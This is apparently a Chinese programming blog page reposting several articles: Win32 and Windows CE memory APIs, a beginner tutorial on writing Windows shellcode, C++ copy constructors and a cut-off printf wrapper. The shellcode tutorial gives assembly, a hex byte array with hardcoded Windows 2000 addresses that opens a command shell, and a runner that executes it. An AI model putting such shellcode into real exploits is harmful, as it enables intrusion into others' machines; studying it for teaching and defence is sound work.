青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

隨筆 - 74, 文章 - 0, 評論 - 26, 引用 - 0
數據加載中……

(轉)Windows應用程序捆綁核心編程

1.3  虛擬內存訪問

每個進程都擁有自己的虛擬地址空間,那么怎樣才能訪問這個空間呢?這就需要用到Windows API函數。這些函數直接與編寫程序相關,因而更受軟件工程師的關注。有關這方面的函數較多,這里介紹幾個重要的函數。

1.3.1  獲取系統信息

在一個程序中不能直接應用某個系統的設備參數,否則將不利于程序的移植。因此,如果確實需要用到這樣的設備參數,則需要一個系統信息函數來獲得。VC++ 編譯器所提供這樣的函數為GetSystemInfo()。該函數需要一個指向SYSTEM_INFO結構的指針作為參數。其原型表示為:

l           

void GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);

l           

其中lpSystemInfo返回LPSYSTEM_INFO結構的地址,用于裝載適當的系統信息,這個結構體定義為:

l           

typedef struct _SYSTEM_INFO { 

    union {   

        DWORD dwOemId;   

        struct {     

            WORD wProcessorArchitecture;      

            WORD wReserved;   

        };

    }; 

   

    DWORD  dwPageSize; 

    LPVOID  lpMinimumApplicationAddress; 

    LPVOID  lpMaximumApplicationAddress; 

    DWORD_PTR  dwActiveProcessorMask; 

    DWORD  dwNumberOfProcessors; 

    DWORD  dwProcessorType; 

    DWORD  dwAllocationGranularity; 

    WORD   wProcessorLevel; 

    WORD   wProcessorRevision;

} SYSTEM_INFO;

l           

其中參數含義如下所述。

dwOemId:是一個過時選項,用于與Windows NT 3.5以及以前的版本兼容。

wProcessorArchitecture:指明處理的結構,如Intel、Alpha、Intel 64位或Alpha       64位。

dwPageSize:用于顯示CPU的頁面大小。在x86 CPU上,這個值是4096字節。在Alpha CPU上,這個值是8192字節。在IA-64上,這個值是8192字節。

lpMinimumApplicationAddress:用于給出每個進程可用地址空間的最小內存地址。在Windows 98上,這個值是0x400000,因為每個進程的地址空間中下面的4MB是不能使用的。在Windows 2K/XP上,這個值是0x10000,因為每個進程的地址空間中開頭的64KB總是空閑的。

lpMaximumApplicationAddress:用于給出每個進程可用地址空間的最大內存地址。在Windows 98上,這個地址是0x7FFFFFFF,因為共享內存映射文件區域和共享操作系統代碼包含在上面的2GB分區中。在Windows XP上,這個地址是0x7FFEFFFF。

dwActiveProcessorMask:位屏蔽,指明哪個CPU是活動的。

dwNumberOfProcessors:計算機中CPU的數目。

dwProcessorType:處理器類型。

dwAllocationGranularity:保留的地址空間區域的分配粒度。

wProcessorLevel:進一步細分處理器的結構。

wProcessorRevision:用于進一步細分處理器的級別。

wReserved:保留供將來使用。

在以上參數中只有lpMinimumApplicationAddress、lpMaximumApplicationAddress、dwPageSize和dwAllocationGranularity與內存有關。

1.3.2  在應用程序中使用虛擬內存

對內存分配可以采用不同的方法,常用的方法有:用C/C++語言的內存分配函數,例如,用malloc() 和 free()、new 和 delete 函數分配和釋放堆內存;用Windows傳統的全局或者局部內存分配函數,如GlobalAlloc()和GlobalFree();用Win32的堆分配函數,如HeapAlloc()和HeapFree();用Win32的虛擬內存分配函數,如VirtualAlloc()和VirtualFree()。注意,用不同的方法分配內存后,要用相對應的函數來釋放所占用的內存。這里只介紹Win32的虛擬內存分配函數。

在進程創建之初并被賦予地址空間時,其虛擬地址空間尚未分配,處于空閑狀態。這時地址空間內的內存是不能使用的,必須通過VirtualAlloc()函數來分配其中的各個區域,對其進行保留。VirtualAlloc()函數原型為:

l           

LPVOID VirtualAlloc(

    LPVOID lpAddress,

    DWORD dwSize,

    DWORD flAllocationType,

    DWORD flProtect

    );

l           

該函數用來分配一定范圍的虛擬頁。參數1指定起始地址;參數2指定分配內存的長度;參數3指定分配方式,取值MEM_COMMINT或者MEM_RESERVE;參數4指定控制訪問本次分配的內存的標識,取值為PAGE_READONLY、PAGE_READWRITE或者PAGE_NOACCESS。

分配完成后,即在進程的虛擬地址空間中保留了一個區域,可以對此區域中的內存進行保護權限許可范圍內的訪問。當不再需要訪問此地址空間區域時,應釋放此區域,由VirtualFree()負責完成。其函數原型為:

l           

BOOL VirtualFree(

    LPVOID lpAddress,

    DWORD dwSize,

    DWORD dwFreeType

    );

l           

其中參數含義如下所述。

lpAddress:指向待釋放頁面區域的指針。如果參數dwFreeType指定了MEM_RELEASE,則lpAddress必須為頁面區域保留由VirtualAlloc()所返回的基地址。

dwSize:指定了要釋放的地址空間區域的大小,如果參數dwFreeType指定了MEM_RELEASE標志,則將dwSize設置為0,由系統計算在特定內存地址上的待釋放區域的大小。

dwFreeType:為所執行的釋放操作的類型,其可能的取值為MEM_RELEASE和MEM_DECOMMIT,其中MEM_RELEASE標志指明要釋放指定的保留頁面區域,MEM_DECOMMIT標志則對指定的占用頁面區域進行占用的解除。

如果VirtualFree()執行完成,將回收全部范圍的已分配頁面,此后如再對這些已釋  放頁面區域內存進行訪問將引發內存訪問異常。釋放后的頁面區域可供系統繼續分配   使用。

1.3.3  獲取虛存狀態

Windows API函數GlobalMemoryStatus()可用于檢索關于當前內存狀態的動態信息。在軟件的About對話框中,通常用這個函數來獲取系統內存的使用情況。其函數原型為:

l           

void GlobalMemoryStatus(LPMEMORYSTATUS lpmstMemStat);

l           

其中lpmstMemStat返回MEMORYSTATUS結構的地址,這個結構體的定義為:

l           

typedef struct MEMORYSTATUS{

    DWORD dwLength;

    DWORD dwMemoryLoad;        

    DWORD dwTotalPhys;

    DWORD dwAvailPhys;

    DWORD dwTotalPageFile;

    DWORD dwAvailPageFile;

    DWORD dwTotalVirtual;

    DWORD dwAvailVirtual; 

} MEMORYSTATUS ,* LPMEMORYSTATUS;

l           

其中參數含義如下所述。

dwLength:MEMORYSTATUS結構大小。

dwMemoryLoad:已使用內存所占的百分比。

dwTotalPhys:物理存儲器的總字節數。

dwAvailPhys:空閑物理存儲器的字節數。

dwTotalPageFile:頁文件包含的最大字節數。

dwAvailPageFile:用戶模式分區中空閑內存大小。

dwTotalVirtual:用戶模式分區大小。

dwAvailVirtual:表示當前進程中還剩下的自由區域的總和。

在調用GlobalMemoryStatus()之前,必須將dwLength成員初始化為用字節表示的結構的大小,即一個MEMORYSTATUS結構的大小。這個初始化操作使得Microsoft能夠在新版本Windows系統中將新成員添加到這個結構中,而不會破壞現有的應用程序。當調用GlobalMemoryStatus()時,它將對該結構的其余成員進行初始化并返回。

如果某個應用程序在內存大于4GB的計算機上運行,或者合計交換文件的大小大于4GB,那么可以使用新的GlobalMemoryStatusEx()函數。其函數的原型為:

l           

BOOL GlobalMemoryStatusEx(MEMORYSTATUSEX  &mst);

l           

其中mst返回MEMORYSTATUSEX結構的填充信息,該結構體與原先的MEMORYSTATUS結構基本相同,差別在于新結構的所有成員的大小都是64位寬,因此它的值可以大于4 GB。

1.3.4  確定虛擬地址空間的狀態

對內存的管理除了對當前內存的使用狀態信息進行獲取外,還經常需要獲取有關進程的虛擬地址空間的狀態信息。例如,如何得到一個進程已提交的頁面范圍?這就要用到兩個 API函數VirtualQuery()或VirtualQueryEx()來進行查詢。這兩個函數的功能相似,不同就是VirtualQuery()只是查詢本進程內存空間信息,而VirtualQueryEx()可以查詢指定進程的內存空間信息。VirtualQuery()函數原型如下:

l           

DWORD VirtualQuery(

    LPVOID lpAddress,     

    PMEMORY_BASIC_INFORMATION lpBuffer,

    DWORD dwLength

    );

l           

VirtualQueryEx()函數原型如下:

l           

DWORD VirtualQueryEx(

    HANDLE hProcess ,

    LPCVOID lpAddress ,

    PMEMORY_BASIC_INFORMATION lpBuffer ,

    DWORD dwLength

    );

l           

其中參數含義如下所述。

hProcess:進程的句柄。

lpAddress:想要了解其信息的虛存地址。

lpBuffer:返回MEMORY_ BASIC_INFORMATION結構的地址。

dwLength:返回的字節數。

PWEMORY_BASIC_INFORMATION的定義如下:

l           

typedef struct _MEMORY_BASIC_INFORMATION{

    PVOID BaseAddress;  

    PVOID AllocationBase;

    DWORD AllocationProtect;

    DWORD RegionSize;

    DWORD State;

    DWORD Protect;

    DWORD Type;

} MEMORY_BASIC_INFORMATION, * PMEMORY_BASIC_INFORMATION;

l           

其中參數含義如下所述。

BaseAddress:被查詢內存塊的基地址。

AllocationBase:用VirtualAlloc()分配該內存時實際分配的基地址。

AllocationProtect:分配該頁面時,頁面的一些屬性,如PAGE_READWRITE、PAGE_EXECUTE等(其他屬性可參考 Platform SDK)。

RegionSize:從BaseAddress開始,具有相同屬性的頁面的大小。

State:頁面的狀態,有3種可能值:MEM_COMMIT、MEM_FREE和MEM_ RESERVE,這個參數是最重要的,從中可知指定內存頁面的狀態。

Protect:頁面的屬性,它可能的取值與 AllocationProtect 相同。

Type:指明了該內存塊的類型,有3種可能值:MEM_IMAGE、MEM_MAPPED和MEM_PRIVATE。

1.3.5  改變內存頁面保護屬性

在進行進程掛鉤時,經常要向內存頁中寫入部分代碼,這就需要改變內存頁的保護屬性。有幸的是Win32提供了兩個API函數VirtualProtect()和VirtualProtectEx(),它們可以對改變內存頁保護。例如,在使用這兩個函數時,可以先按PAGE_READWRITE屬性來提交一個頁的地址,并且立即將數據填寫到該頁中,然后再把該頁的屬性改變為PAGE_READONLY,這樣可以有效地保護數據不被該進程中的任何其他線程重寫。在調用這兩個函數之前最好先了解有關頁面的信息,可以通過VirtualQuery()來實現。

VirtualProtect()與VirtualProtectEx()函數的區別在于VirtualProtect()只適用于本進程,而VirtualProtectEx()可以適用于其他進程。VirtualProtect()函數原型如下:

BOOL VirtualProtect(

    PVOID pvAddress,

    DWORD dwSize,

    DWORD flNewProtect,

    PDWORD pflOldProtect

    );

l           

VirtualProtectEx()函數原型如下:

l           

BOOL VirtualProtectEx(

    HANDLE hProcess,

    PVOID pvAddress,

    DWORD dwSize,

    DWORD flNewProtect,

    PDWORD pflOldProtect

    );

l           

其中參數的含義如下所述。

hProcess:要修改內存的進程句柄。

pvAddress:指向內存的基地址(它必須位于進程的用戶方式分區中)。

dwSize:用于指明想要改變保護屬性的字節數。

flNewProtect:代表PAGE_*保護屬性標志中的任何一個標志,但PAGE_ WRITECOPY和PAGE_EXECUTE_WRITECOPY這兩個標志除外。

pflOldProtect:是DWORD大小的地址,VirtualProtect()和VirtualProtectEx()將用原先與pvAddress位置上的字節相關的保護屬性填入該地址。盡管許多應用程序并不需要該信息,但是必須為該參數傳遞一個有效地址,否則該函數的運行將會失敗。

1.3.6  進行一個進程的內存讀寫

前面已經說明了如何獲得一個進程的內存屬性、如何分配內存和如何改變內存頁的保護屬性,其最終的目的是要對一個進程中內存內容進行讀寫。要完成此工作,需要用到兩個函數:ReadProcessMemory() 和WriteProcessMemory(),這兩個函數非常有用。如果知道了一個進程的句柄和內存地址,就可以用ReadProcessMemory()函數來得到該進程和該地址中的內容,此函數的原型為:

l           

BOOL ReadProcessMemory(

    HANDLE hProcess,

    LPCVOID lpBaseAddress,

    LPVOID lpBuffer,

    DWORD nSize, 

    LPDWORD lpNumberOfBytesRead

    );

l           

其中hProcess為要讀入的進程句柄,lpBaseAddress為讀內存的起始地址,lpBuffer為讀入數據的地址,nSize為要讀入的字節數,lpNumberOfBytesRead為實際讀入的字   節數。

同樣,如果知道了一個進程的句柄和內存地址,可以用WriteProcessMemory()函數向該進程和該地址中寫入新的內容,這個函數的原型為:

l           

BOOL WriteProcessMemory(

    HANDLE hProcess,

    LPVOID lpBaseAddress,

    LPVOID lpBuffer,

    DWORD nSize,

    LPDWORD lpNumberOfBytesWritten

    );

l           

其中參數hProcess為要寫入的進程句柄,lpBaseAddress為寫內存的起始地址,lpBuffer為寫入數據的地址,nSize為要寫入的字節數,lpNumberOfBytesWritten為實際寫入的字節數。

posted @ 2007-11-15 12:40 井泉 閱讀(942) | 評論 (0)編輯 收藏

(轉)Windows CE下訪問物理內存的一些方法!!

嵌入式設備與桌面PC的一個顯著不同是它的應用程序中通常需要直接訪問某一段物理內存,這在驅動程序中對物理內存的訪問尤為重要,尤其是像ARM體系結構下,I/O端口也被映射成某一個物理內存地址。因此,與桌面版本Windows相比,Windows CE提供了相對簡單的物理內存訪問方式。無論是驅動程序還是應用程序都可以通過API訪問某一段物理內存。

Windows CE的有些函數中需要用到物理內存結構體PHYSICAL_ADDRESS Windows CEceddk.h中定義了PHYSICAL_ADDRESS,它其實是LARGE_INTEGER類型,其定義如下:

// in ceddk.h

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

// in winnt.h

typedef union _LARGE_INTEGER{

 struct{

    DWORD LowPart;

    LONG HighPart;

 };

 LONGLONG QuadPart;

} LARGE_INTEGER;

可見,Windows CE中用64Bit來代表物理地址,對于大多數32位的CPU而言,只需要把它的HighPart設置為0就可以了。

如果要直接訪問某一個地址的物理內存,Windows CE提供了VirtualAlloc()VirtualCopy()函數,VirtualAlloc負責在虛擬內存空間內保留一段虛擬內存,而VirtualCopy負責把一段物理內存和虛擬內存綁定,這樣,最終對物理內存的訪問還是通過虛擬地址進行。它們的聲明如下:

// 申請虛擬內存

LPVOID VirtualAlloc(

 LPVOID lpAddress,     // 希望的虛擬內存起始地址

 DWORD dwSize,             // 以字節為單位的大小

 DWORD flAllocationType,  // 申請類型,分為ReserveCommit

 DWORD flProtect           // 訪問權限

);

// 把物理內存綁定到虛擬地址空間

BOOL VirtualCopy(

 LPVOID lpvDest,           // 虛擬內存的目標地址

 LPVOID lpvSrc,            // 物理內存地址

 DWORD cbSize,             // 要綁定的大小

 DWORD fdwProtect          // 訪問權限

);

VirtualAlloc對虛擬內存的申請分為兩步,保留MEM_RESERVE和提交MEM_COMMIT。其中MEM_RESERVE只是在進程的虛擬地址空間內保留一段,并不分配實際的物理內存,因此保留的虛擬內存并不能被應用程序直接使用。MEM_COMMIT階段才真正的為虛擬內存分配物理內存。

下面的代碼顯示了如何使用VirtualAllocVirtualCopy來訪問物理內存。因為VirtualCopy負責把一段物理內存和虛擬內存綁定,所以VirtualAlloc的時候只需要對內存保留,沒有必要提交。

FpDriverGlobals =

(PDRIVER_GLOBALS) VirtualAlloc(

    0,

    DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE,

    MEM_RESERVE,

    PAGE_NOACCESS);

 if (FpDriverGlobals == NULL) {

    ERRORMSG(DRIVER_ERROR_MSG, (TEXT(" VirtualAlloc failed!\r\n")));

    return;

 }

 else {

    if (!VirtualCopy(

    (PVOID)FpDriverGlobals,

    (PVOID)(DRIVER_GLOBALS_PHYSICAL_MEMORY_START),

    DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE,

    (PAGE_READWRITE | PAGE_NOCACHE))) {

       ERRORMSG(DRIVER_ERROR_MSG, (TEXT("VirtualCopy failed!\r\n")));

       return;

    }

 }

CEDDK還提供了函數MmMapIoSpace用來把一段物理內存直接映射到虛擬內存。此函數的原形如下:

PVOID MmMapIoSpace(

 PHYSICAL_ADDRESS PhysicalAddress, // 起始物理地址

 ULONG NumberOfBytes,                  // 要映射的字節數

 BOOLEAN CacheEnable                   // 是否緩存

);

其實,MmMapIoSpace函數內部也是調用VirtualAllocVirtualCopy函數來實現物理地址到虛擬地址的映射的。MmMapIoSpace函數的原代碼是公開的,我們可以從%_WINCEROOT%\PUBLIC\COMMON\OAK\DRIVERS\CEDDK\DDK_MAP\ddk_map.c得到。從MmMapIoSpace的實現我們也可以看出VirtualAllocVirtualCopy的用法:

PVOID MmMapIoSpace (

    IN PHYSICAL_ADDRESS PhysicalAddress,

    IN ULONG NumberOfBytes,

    IN BOOLEAN CacheEnable

    )

{

PVOID pVirtualAddress; ULONGLONG SourcePhys;

ULONG SourceSize; BOOL bSuccess;

 

    SourcePhys = PhysicalAddress.QuadPart & ~(PAGE_SIZE - 1);

    SourceSize = NumberOfBytes + (PhysicalAddress.LowPart & (PAGE_SIZE - 1));

 

    pVirtualAddress = VirtualAlloc(0, SourceSize, MEM_RESERVE, PAGE_NOACCESS);

    if (pVirtualAddress != NULL)

    {

        bSuccess = VirtualCopy(

            pVirtualAddress, (PVOID)(SourcePhys >> 8), SourceSize,

            PAGE_PHYSICAL | PAGE_READWRITE | (CacheEnable ? 0 : PAGE_NOCACHE));

 

        if (bSuccess) {

            (ULONG)pVirtualAddress += PhysicalAddress.LowPart & (PAGE_SIZE - 1);

        }

        else {

            VirtualFree(pVirtualAddress, 0, MEM_RELEASE);

            pVirtualAddress = NULL;

        }

    }

    return pVirtualAddress;

}

此外,Windows CE還供了AllocPhysMem函數和FreePhysMem函數,用來申請和釋放一段連續的物理內存。函數可以保證申請的物理內存是連續的,如果函數成功,會返回虛擬內存的句柄和物理內存的起始地址。這對于DMA設備尤為有用。在這里就不詳細介紹了,讀者可以參考Windows CE的聯機文檔。

posted @ 2007-11-15 12:28 井泉 閱讀(1051) | 評論 (3)編輯 收藏

(轉)打造Windows下自己的ShellCode

為了幫助初學者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過程作詳細的介紹,以利于像我一樣的菜鳥,最終能夠寫出簡單的但卻是真實的ShellCode;而進一步高級的ShellCode的編寫,也會在系列后面的文章中一步一步的演示的,希望大家會發現,Exp真好,ShellCode最美妙!
ShellCode簡介和編寫步驟
從以前的文章和別人的攻擊代碼中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的形式出現在程序中的,而Exploit的構造就是想方設法地使計算機能轉到我們的ShellCode上來,去執行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨行者是我們文章的主宰一樣)。而ShellCode的“\xFF\x3A\x45\x72……”那些值,其實是機器碼的形式,和一般程序在內存里面存的東東是沒什么兩樣的,攻擊程序把內存里面的數據動態改成ShellCode的值,再跳過去執行,就如同執行一個在內存中的一般程序一樣,只不過完成的是我們的功能,溢出攻擊就這樣實現了。
在此可以下個定義:ShellCode就是一段程序的機器碼形式,而ShellCode的編寫過程,就是得到我們想要程序的機器碼的過程。
當然ShellCode的特殊性和Windows下函數調用的特點,決定了和一般的匯編程序有所不同。所以其編寫步驟應該是,
1.構想ShellCode的功能;
2.用C語言驗證實現;
3.根據C語言實現,改成帶有ShellCode特點的匯編;
4.最后得到機器碼形式的ShellCode。
其中最重要的是第三步――改成有ShellCode特點的匯編,將在本文的后面講到。
首先第一步是構想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時光,發電磁波找外星人等等(WTF:咳……),但最基本的功能,還是希望開一個DOS窗口,那我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。
C語言代碼
比如下面這個程序就可以完成開DOS窗口的功能,大家詳細看下注釋:
#include
#include
typedef void (*MYPROC)(LPTSTR); //定義函數指針
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函數地址
(ProcAdd) ("command.com"); //其實就是執行System(“command.com”)
return 0;
}
其實執行System(“command.com”)也可以完成開DOS窗口的功能,寫成這么復雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC)(LPTSTR)是定義一個函數指針類型,該類型的函數參數為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數為是字符串,返回值為空的函數指針;使用LoadLibrary(“msvcrt.dll”);裝載動態鏈接庫msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)獲得 System的真實地址并賦給ProcAdd,之后ProcAdd里存的就是System函數的地址,以后使用這個地址來調用System函數;最后(ProcAdd) ("command.com")就是調用System("command.com"),可以獲得一個DOS窗口。在窗口中我們可以執行Dir,Copy等命令。如下圖1所示。




圖1
獲得函數的地址
程序中用GetProcAddress函數獲得System的真實地址,但地址究竟是多少,如何查看呢?
在VC中,我們按F10進入調試狀態,然后在Debug工具欄中點最后一個按鈕Disassemble和第四個按鈕Registers,這樣出現了源程序的匯編代碼和寄存器狀態窗口,如圖2所示




圖2
繼續按F10執行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")語句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]執行后,EAX變為7801AFC3,說明在我的機器上System( )函數的地址是0x7801AFC3。如圖3所示。




圖3
WTF:注意本次測試中讀者的機器是Windows 2000 SP3,不同環境可能地址不同。
為什么EAX就是System( )函數的地址呢?那是因為函數執行的返回值,在匯編下通常是放在EAX中的,這算是計算機系統的約定吧,所以GetProcAddress(”System”)的返回值(System函數的地址),就在EAX中,為0x7801AFC3。
Windows下函數的調用原理
為什么要這么麻煩的得到System函數的地址呢?這是因為在Windows下,函數的調用方法是先將參數從右到左壓入堆棧,然后Call該函數的地址。比如執行函數Fun(argv1, argv2),先把參數從右到左壓入堆棧,這里就是依次把argv2,argv1壓入堆棧里,然后Call Fun函數的地址。這里的Call Fun函數地址,其實等于兩步,一是把保存當前EIP,二是跳到Func函數的地址執行,即Push EIP + Jmp Fun。其過程如下圖4所示。




圖4
同理,我們要執行System("command.com"):首先參數入棧,這里只有一個參數,所以就把Command.com的地址壓入堆棧,注意是Command.com字符串的地址;然后Call System函數的地址,就完成了執行。如圖5所示。




圖5
構造有ShellCode特點的匯編
明白了Windows函數的執行原理,我們要執行System(“Command.exe”),就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢?內存中可能沒有,但我們可以自己構造!
我們把‘Command.exe’一個字符一個字符的賦給堆棧,這樣‘Command.exe’字符串就有了,而棧頂的指針ESP正好是Command.exe字符串的地址,我們Push esp,就完成了參數――Command.exe字符串的地址入棧。如下圖6所示。




圖6
參數入棧了,然后該Call System函數的地址。剛才已經看到,在Windows 2000 SP3上,System函數的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。
把思路合起來,可以寫出執行System(“Command.exe”)的帶有ShellCode特點的匯編代碼如下。
mov esp,ebp ;
push ebp ;
mov ebp,esp ; 把當前esp賦給ebp
xor edi,edi ;
push edi ;壓入0,esp-4,; 作用是構造字符串的結尾\0字符。
sub esp,08h ;加上上面,一共有12個字節,;用來放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m一個一個生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com串地址作為參數入棧
mov eax, 0x7801AFC3 ;
call eax ; call System函數的地址
明白了原理再看實現,是不是清楚了很多呢?
提取ShellCode
首先來驗證一下,在VC中可以用__asm關鍵字插入匯編,我們把System(“Command.exe”)用我們寫的匯編替換,LoadLibrary先不動,然后執行,成功!彈出了我們想要的DOS窗口。如下圖7所示。




圖7
同樣的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來,將其編譯、鏈接、執行,也成功了!如下圖8所示。




圖8
有了上面的工作,提取ShellCode就只剩下體力活了。我們對剛才的全匯編的程序,按F10進入調試,接著按下Debug工具欄的Disassembly按鈕,點右鍵,在彈出菜單中選中Code Bytes,就出現匯編對應的機器碼。因為匯編可以完全完成我們的功能,所以我們把匯編對應的機器碼原封不動抄下來,就得到我們想要的ShellCode了。提取出來的ShellCode如下。
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
"\xFF\xD0";
驗證ShellCode
最后要驗證提取出來的ShellCode能否完成我們的功能。在以前的文章中已經說過方法,只需要新建一個工程和c源文件,然后把ShellCode部分拷下來,存為一個數組,最后在main中添上( (void(*)(void)) &shellcode )(),如下:
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3
"\xFF\xD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}
( (void(*)(void)) &shellcode )()這句話是關鍵,它把ShellCode轉換成一個參數為空,返回為空的函數指針,并調用它。執行那句就相當于執行ShellCode數組里的那些數據。如果ShellCode正確,就會完成我們想要的功能,出現一個DOS窗口。我們親自編寫的第一個ShellCode成功完成!

小結
這個ShellCode的功能還比較單薄,而且通用性也待進一步研究,但的確是一個由我們親自打造出來的ShellCode,而且現實中的ShellCode也是這樣寫出來的。只要我們掌握了基本的方法,以后就可以在廣闊的空間中自由翱翔!

posted @ 2007-08-20 17:17 井泉 閱讀(1359) | 評論 (0)編輯 收藏

(轉)利用函數將程序跳轉到固定地址執行

---------------------------------------------
定義函數void (* my_function)(void);

在程序中賦值:

my_function = 0x00;

然后調用函數:

my_function();

程序就會跳轉到0x00地址開始執行,常用于BootLoader程序中.

類似的還有直接向某個地址寫入數據:

int *my_address = 0x05555555;

*my_address = 0x22222222;

直接向0x05555555地址寫入數據0x22222222.

posted @ 2007-08-10 15:28 井泉 閱讀(544) | 評論 (0)編輯 收藏

C++類對象的拷貝構造函數分析

對于普通類型的對象來說,它們之間的復制是很簡單的,例如:

int a=100;
int b=a;

  而類對象與普通對象不同,類對象內部結構一般較為復雜,存在各種成員變量。下面看一個類對象拷貝的簡單例子。

#include <iostream>
using namespace std;
class CA
{
 public:
  CA(int b)
  {
   a=b;
  }
  void Show ()
  {
   cout<<a<<endl;
  }
 private:
  int a;
};

int main()
{
 CA A(100);
 CA B=A;
 B.Show ();
 return 0;
}

  運行程序,屏幕輸出100。從以上代碼的運行結果可以看出,系統為對象B分配了內存并完成了與對象A的復制過程。就類對象而言,相同類型的類對象是通過拷貝構造函數來完成整個復制過程的。下面我們舉例說明拷貝構造函數的工作過程。

#include <iostream>
using namespace std;
class CA
{
 public:
  CA(int b)
  {
   a=b;
  }
  CA(const CA& C)
  {
   a=C.a;
  }
  void Show()
  {
   cout<<a<<endl;
  }
 private:
  int a;
};

int main()
{
 CA A(100);
 CA B=A;
 B.Show ();
 return 0;
}

  CA(const CA& C)就是我們自定義的拷貝構造函數。可見,拷貝構造函數是一種特殊的構造函數,函數的名稱必須和類名稱一致,它的唯一的一個參數是本類型的一個引用變量,該參數是const類型,不可變的。例如:類X的拷貝構造函數的形式為X(X& x)。

  當用一個已初始化過了的自定義類類型對象去初始化另一個新構造的對象的時候,拷貝構造函數就會被自動調用。也就是說,當類的對象需要拷貝時,拷貝構造函數將會被調用。以下情況都會調用拷貝構造函數:

  一個對象以值傳遞的方式傳入函數體

  一個對象以值傳遞的方式從函數返回

  一個對象需要通過另外一個對象進行初始化。

  如果在類中沒有顯式地聲明一個拷貝構造函數,那么,編譯器將會自動生成一個默認的拷貝構造函數,該構造函數完成對象之間的位拷貝。位拷貝又稱淺拷貝,后面將進行說明。

  自定義拷貝構造函數是一種良好的編程風格,它可以阻止編譯器形成默認的拷貝構造函數,提高源碼效率。

  淺拷貝和深拷貝

  在某些狀況下,類內成員變量需要動態開辟堆內存,如果實行位拷貝,也就是把對象里的值完全復制給另一個對象,如A=B。這時,如果B中有一個成員變量指針已經申請了內存,那A中的那個成員變量也指向同一塊內存。這就出現了問題:當B把內存釋放了(如:析構),這時A內的指針就是野指針了,出現運行錯誤。

  深拷貝和淺拷貝可以簡單理解為:如果一個類擁有資源,當這個類的對象發生復制過程的時候,資源重新分配,這個過程就是深拷貝,反之,沒有重新分配資源,就是淺拷貝。下面舉個深拷貝的例子。

#include <iostream>
using namespace std;
class CA
{
 public:
  CA(int b,char* cstr)
  {
   a=b;
   str=new char[b];
   strcpy(str,cstr);
  }
  CA(const CA& C)
  {
   a=C.a;
   str=new char[a]; //深拷貝
   if(str!=0)
    strcpy(str,C.str);
  }
  void Show()
  {
   cout<<str<<endl;
  }
  ~CA()
  {
   delete str;
  }
 private:
  int a;
  char *str;
};

int main()
{
 CA A(10,"Hello!");
 CA B=A;
 B.Show();
 return 0;
}

  好吧,就說這些,希望本文能對您有所幫助。

posted @ 2006-12-01 08:52 井泉 閱讀(228) | 評論 (0)編輯 收藏

自己的printf

#include "stdarg.h"
int my_printf (const char *format, ...)
{
?va_list arg;
?int done;
?
?va_start (arg, format);
?done = vprintf (format, arg);
?va_end (arg);
